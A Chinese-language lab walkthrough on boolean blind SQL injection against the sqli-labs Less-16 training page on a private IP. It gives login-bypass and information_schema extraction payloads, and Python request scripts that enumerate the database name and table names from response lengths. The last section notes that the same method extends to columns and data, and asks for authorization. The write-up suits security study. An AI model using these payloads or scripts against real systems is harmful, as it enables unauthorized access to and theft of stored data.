一、分析測試注入點
1、抓包,檢視響應資料包
2、先隨便輸入一個賬號密碼,再測試萬能密碼
1") or 1=1 -- #
3、發現響應資料包的Content-Length欄位值不同。錯誤狀態返回Content-Length值為1467,正確返回1504,符合布林注入特徵。
4、使用萬能密碼登入成功,確定注入點,為布林盲注
1") or 1=1 -- #
二、獲取資料庫名編寫指令碼
1、先獲取資料庫長度,測試語句
1") or length(database())=8 -- #
2、登入成功,確定資料庫長度為8
3、、由於是盲注,獲取資料庫名手工不太現實,這裡使用指令碼。注意,指令碼測試時,響應資料包的Content-Length欄位值與BurpSuite抓包測試中的Content-Length欄位值不同,請自行測試,根據實際情況修改
# -*- coding: utf-8 -*- import requests url = "http://192.168.40.128:86/Less-16/" headers = { 'Host' :'192.168.40.128:86', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', #'Content-Length': '39', 'Origin': 'http://192.168.40.128:86', 'Connection': 'close', 'Referer': 'http://192.168.40.128:86/Less-16/', 'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0', 'Upgrade-Insecure-Requests': '1' } data = { 'uname':'admin', 'passwd':'adminpass', 'submit':'Submit' } #獲取資料庫名的長度 def get_database_length(): print("[-] Start getting the database name length:") for i in range(20): data_database_L = { 'uname':'") or length(database())=' + str(i) + " #", 'passwd':'adminpass', 'submit':'Submit' } r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False) """ print(r_database_length.headers["Content-Length"]) print(type(r_database_length.headers["Content-Length"])) """ if r_database_length.headers["Content-Length"] == str(943): print("[*] current database length: {}".format(i)) return i #獲取當前資料庫的名稱 def get_database_name(r_database_length): r_database_length = database_length #使用left()函式,即從左邊第一個字元開始猜解 database_name = '' print(' ') print("[-] Start getting the database name:") for i in range(1, r_database_length + 1): for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@': #構造Payload payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #" #print(passwd) data_database_name = { 'uname':'1', 'passwd':payload, 'submit':'Submit' } #逐個請求構造好的Payload r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False) #若響應資料包的Content-Length欄位值為943,則猜解下一個欄位,拼接正確的欄位 if r_database_name.headers["Content-Length"] == str(943): database_name += str(j) print("[+] {}".format(database_name)) break print("[*] The database name is: {}".format(database_name)) return database_name
4、測試時在指令碼末尾新增如下程式碼
#測試 database_length = get_database_length() database_name = get_database_name(database_length)
5、執行指令碼,效果如下
三、獲取資料庫表的數量
1、測試語句,構造Payload。下面語句的意思是資料庫security中表的數量大於1
1") and (select count(*) from information_schema.tables where table_schema='security')>1 -- #
登入成功
2、指令碼實現
#獲取資料庫表的數量 def get_database_tables_count(r_database_name): r_database_name = database_name print(' ') print("[-] Start getting the number of databases:") for i in range(1,99): #構造獲取資料庫數量的Payload payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + database_name +"')=" + str(i) +" -- #" data_database_name = { 'uname':'1', 'passwd':payload, 'submit':'Submit' } r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False) if r_database_count.headers["Content-Length"] == str(943): print("[*] The current number of database tables is: {}".format(i)) return i
3、修改末尾的測試程式碼如下
#測試 database_length = get_database_length() database_name = get_database_name(database_length) database_count = get_database_tables_count(database_name)
4、執行指令碼,效果如下
四、獲取資料庫表名的長度
1、先測試語句,構造Payload。下面語句的意思是資料庫security的第一個表的長度大於1
1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>1 -- #
2、登入成功,語句正確
3、指令碼實現
#獲取表名的長度 def get_database_tables_name_length(r_database_name,r_database_tables_count): r_database_name = database_name r_database_tables_count = database_tables_count tables_name_length_list = [] print(' ') print("[-] Start getting the database tables name length:") #根據表的數量逐個猜解表名的長度 for i in range(0,r_database_tables_count+1): for j in range(20): #'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #" payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #" data_database_L = { 'uname':payload, 'passwd':'adminpass', 'submit':'Submit' } r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False) if r_database_tables_name_lemgth.headers["Content-Length"] == str(943): print("[*] The length of the database table name is: {}".format(j)) tables_name_length_list = tables_name_length_list.append(j) return tables_name_length_list
4、執行指令碼,效果如下
五、獲取表名
1、先構造Payload,測試語句
1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
2、登入成功,Payload正確
3、指令碼程式碼實現
#獲取資料庫表名 def get_database_tables_name(): r_database_count = database_tables_count r_database_name = database_name r_tables_name_length = tables_name_length database_tables_name = '' tables_name_list = [] print(' ') print("[-] Start getting the database table name:") for i in range(0,r_database_count): for k in range(1,r_tables_name_length[i]+1): for j in range(33,127): #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- # #1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- # # '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j + " -- #" payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j) + " -- #" data_database_name = { 'uname':'1', 'passwd':payload, 'submit':'Submit' } r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False) if r_tables_name.headers["Content-Length"] == str(943): database_tables_name += chr(j) print("[+] {}".format(database_tables_name)) break #把獲取到的表名加入列表tables_name_list print("[*] The current table name is: {}".format(database_tables_name)) tables_name_list.append(database_tables_name) #清空database_tables_name,繼續獲取下一個表名 database_tables_name = '' print("[*] The table name of the current database: {}".format(tables_name_list)) return tables_name_list
4、效果如下
六、結尾
1、獲取表的列名和獲取表名的思路、邏輯是一樣的,怎麼獲取表名都已經寫出來了,如果怎麼獲取列名和資料都還不會的話,那就再去好好補一下SQL基礎吧
2、此指令碼是布林盲注,延時盲注的邏輯和思路是一樣的,只需要把Payload改成延時語句,把響應判斷條件改成對應的延時判斷就可以了
3、實戰請在獲得授權的前提下進行,且勿進行非法攻擊!
4、最後,附上完整的指令碼程式碼
# -*- coding: utf-8 -*- from aiohttp import payload_type import requests from responses import target url = "http://192.168.40.128:86/Less-16/" headers = { 'Host' :'192.168.40.128:86', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', #'Content-Length': '39', 'Origin': 'http://192.168.40.128:86', 'Connection': 'close', 'Referer': 'http://192.168.40.128:86/Less-16/', 'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0', 'Upgrade-Insecure-Requests': '1' } data = { 'uname':'admin', 'passwd':'adminpass', 'submit':'Submit' } """ r = requests.post(url=url, headers=headers, data=data, allow_redirects=False) print(r.headers['Content-Length']) """ #獲取資料庫名的長度 def get_database_length(): print("[-] Start getting the database name length:") for i in range(20): data_database_L = { 'uname':'") or length(database())=' + str(i) + " #", 'passwd':'adminpass', 'submit':'Submit' } """ print(data_database_L) """ r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False) """ print(r_database_length.headers["Content-Length"]) print(type(r_database_length.headers["Content-Length"])) """ if r_database_length.headers["Content-Length"] == str(943): print("[*] current database length: {}".format(i)) return i #測試 #database_length = get_database_length() #print(type(database_length)) #獲取當前資料庫的名稱 def get_database_name(): r_database_length = database_length #使用left()函式,即從左邊第一個字元開始猜解 database_name = '' print(' ') print("[-] Start getting the database name:") for i in range(1, r_database_length + 1): for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@': #構造Payload payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #" #print(passwd) data_database_name = { 'uname':'1', 'passwd':payload, 'submit':'Submit' } #逐個請求構造好的Payload r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False) #print(r_database_name.headers["Content-Length"]) #若響應資料包的Content-Length欄位值為943,則猜解下一個欄位,拼接正確的欄位,這裡根據實際情況修改 if r_database_name.headers["Content-Length"] == str(943): database_name += str(j) print("[+] {}".format(database_name)) break print("[*] The database name is: {}".format(database_name)) return database_name #獲取資料庫表的數量 def get_database_tables_count(): r_database_name = database_name print(' ') print("[-] Start getting the number of databases:") for i in range(1,99): #構造獲取資料庫數量的Payload payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + r_database_name +"')=" + str(i) +" -- #" data_database_name = { 'uname':'1', 'passwd':payload, 'submit':'Submit' } r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False) if r_database_count.headers["Content-Length"] == str(943): print("[*] The current number of database tables is: {}".format(i)) return i #獲取表名的長度 def get_database_tables_name_length(): r_database_name = database_name r_database_tables_count = database_tables_count tables_name_length_list = [] print(' ') print("[-] Start getting the database tables name length:") #根據表的數量逐個猜解表名的長度 for i in range(0,r_database_tables_count+1): for j in range(20): #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- # #'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #" payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #" data_database_L = { 'uname':payload, 'passwd':'adminpass', 'submit':'Submit' } r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False) if r_database_tables_name_lemgth.headers["Content-Length"] == str(943): print("[*] The length of the database table name is: {}".format(j)) tables_name_length_list.append(j) break #print(tables_name_length_list) """ for n in range(0,database_tables_count): print(tables_name_length_list[n]) """ return tables_name_length_list #獲取資料庫表名 def get_database_tables_name(): r_database_count = database_tables_count r_database_name = database_name r_tables_name_length = tables_name_length database_tables_name = '' tables_name_list = [] print(' ') print("[-] Start getting the database table name:") for i in range(0,r_database_count): for k in range(1,r_tables_name_length[i]+1): for j in range(33,127): #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- # #1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- # # '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j + " -- #" payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j) + " -- #" data_database_name = { 'uname':'1', 'passwd':payload, 'submit':'Submit' } r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False) #print(r_tables_name) if r_tables_name.headers["Content-Length"] == str(943): database_tables_name += chr(j) print("[+] {}".format(database_tables_name)) #tables_name_list.append(database_tables_name) break #把獲取到的表名加入列表tables_name_list print("[*] The current table name is: {}".format(database_tables_name)) tables_name_list.append(database_tables_name) #清空database_tables_name,繼續獲取下一個表名 database_tables_name = '' print("[*] The table name of the current database: {}".format(tables_name_list)) return tables_name_list #測試 database_length = get_database_length() database_name = get_database_name() database_tables_count = get_database_tables_count() tables_name_length = get_database_tables_name_length() get_database_tables_name()